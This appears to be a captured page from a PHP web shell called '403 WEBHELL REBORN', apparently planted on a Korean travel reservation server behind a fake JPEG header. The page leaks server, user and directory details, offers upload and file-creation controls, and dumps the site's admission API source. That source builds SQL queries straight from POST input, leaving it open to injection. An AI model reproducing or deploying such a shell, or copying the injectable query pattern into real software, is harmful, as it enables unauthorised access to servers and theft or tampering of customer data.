ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/api/tk_api_admission_ajax.php
<?php
	header("Content-Type: application/json");
	$g4_path = "..";

	include "common.php"; // API Common
	include "../admin/_common.php"; // Admin Common

	/*******************************************************************/
	// TK 예약건 입장처리                                                   //
	// FLOW : Zipline >> TK                                                //
	// CALL :  ajax                                                            //
	/*******************************************************************/

	// 개발 모드 설정 ★ 실제 운영 시 주의 ★
	$allow_addr = array(
		'119.67.250.2033', // 집
		'14.6.87.1933' // TK사무실
	);
	if(in_array($_SERVER['REMOTE_ADDR'], $allow_addr) == true){
		define('DEV_MODE', '1');
		echo "###############################\n";
		echo "########## 개발 모드 ##########\n";
		echo "###############################\n";
	} else {
		define('DEV_MODE', '0');
	}

	if(DEV_MODE) echo ("===== TKPLACE - ZIPLINE : RESERVATION ADMISSION START =====\n");
	Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "API START"), '', 'tk/'.date('Ym'));

	$mode			= $_POST['mode'];
	$branch			= $_POST['branch']; // branch 코드 mg, yi, ad
	$res_id			= $_POST['res_id'];
	$inwon			= $_POST['inwon'];

	if(DEV_MODE){ p($_POST); }

	Log::save(sprintf("%s(%d) mode % branch %s res_id %s inwon %s", __FILE__, __LINE__, $mode, $branch, $res_id, $inwon), '', 'tk/'.date('Ym'));

	$sql = "select * from g4_write_reserve where res_branch = '".$branch."' AND res_id = '".$res_id."' AND res_partner = 'TK_API' LIMIT 1";
	$row_res = sql_fetch($sql);

	$tk_res_no = $row_res['tk_res_no']; // TK 예약번호
	$res_admission = $row_res['res_admission']; // 입장완료인원

	if(!$row_res){
		$result = array(
			'status' => 400,
			'status_message' => '입장처리하려는 예약건의 상태가 올바르지 않습니다.'
		);
	} else if($row_res['res_cancel'] == 'Y'){
		$result = array(
			'status' => 400,
			'status_message' => '취소된 예약건 입니다.'
		);
	} else if($tk_res_no == ''){
		$result = array(
			'status' => 400,
			'status_message' => 'TK 연동 정보가 없습니다.'
		);
	}

	// 인원 검사
	if($inwon == '' || $inwon <= 0){
		$result = array(
			'status' => 400,
			'status_message' => '입장인원이 없습니다.'
		);
	} else if($res_admission >= $row_res['res_inwon']){
		$result = array(
			'status' => 400,
			'status_message' => '이미 입장처리가 되어 있습니다.'
		);
	} else if(($row_res['res_inwon'] - $res_admission) < $inwon - $res_admission){
		$result = array(
			'status' => 400,
			'status_message' => '입장처리 가능한 인원이 부족합니다.'
		);
	} else if(($inwon) > $row_res['res_inwon']){
		$result = array(
			'status' => 400,
			'status_message' => '입장처리 인원이 예약인원보다 많습니다.'
		);
	}


	if(!$result){

		Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "API CALL"), '', 'tk/'.date('Ym'));

		// 주문조회 쿼리
		$path = "/zipline/event-admission/";

		$call_data = array(
			"site_id"				=> $branch,
			"start_date"			=> date('Y-m-d', strtotime($ti_date)),
			"res_id"				=> $res_id,
			"tk_res_no"			=> $tk_res_no,
			"inwon"				=> $inwon
		);

		$result = call($path, $call_data);
		$data = array();

		if($result['status'] == 200){

			Log::save(sprintf("%s(%d) UPDATE SUCCESS %s", __FILE__, __LINE__, serialize($result)), '', 'tk/'.date('Ym'));

			$nowdate	= date('Y-m-d H:i:s');
			$ipaddr		= $_SERVER['REMOTE_ADDR'];

			$admission_inwon = $res_admission + $result['data']['consume_cnt'];

			// Update
			$sql = "update g4_write_reserve set res_admission = '".$admission_inwon."' WHERE res_id = '".$res_id."' LIMIT 1";

			if(DEV_MODE){ p($sql); }
			Log::save(sprintf("%s(%d) UPDATE : %s", __FILE__, __LINE__, $sql), '', 'tk/'.date('Ym'));

			// DB 처리
			if(DEV_MODE == 0){

				if(DEV_MODE){ p("DB Process..."); }
				Log::save(sprintf("%s(%d) DB Update/Insert Process  : %s", __FILE__, __LINE__, $sql), '', 'tk/'.date('Ym'));
				sql_query($sql);
			}
		}

	} else {
		Log::save(sprintf("%s(%d) ERROR : %s", __FILE__, __LINE__, $result['status_message']), '', 'tk/'.date('Ym'));
	}

	echo json_encode($result);

	?>




Anon7 - 2021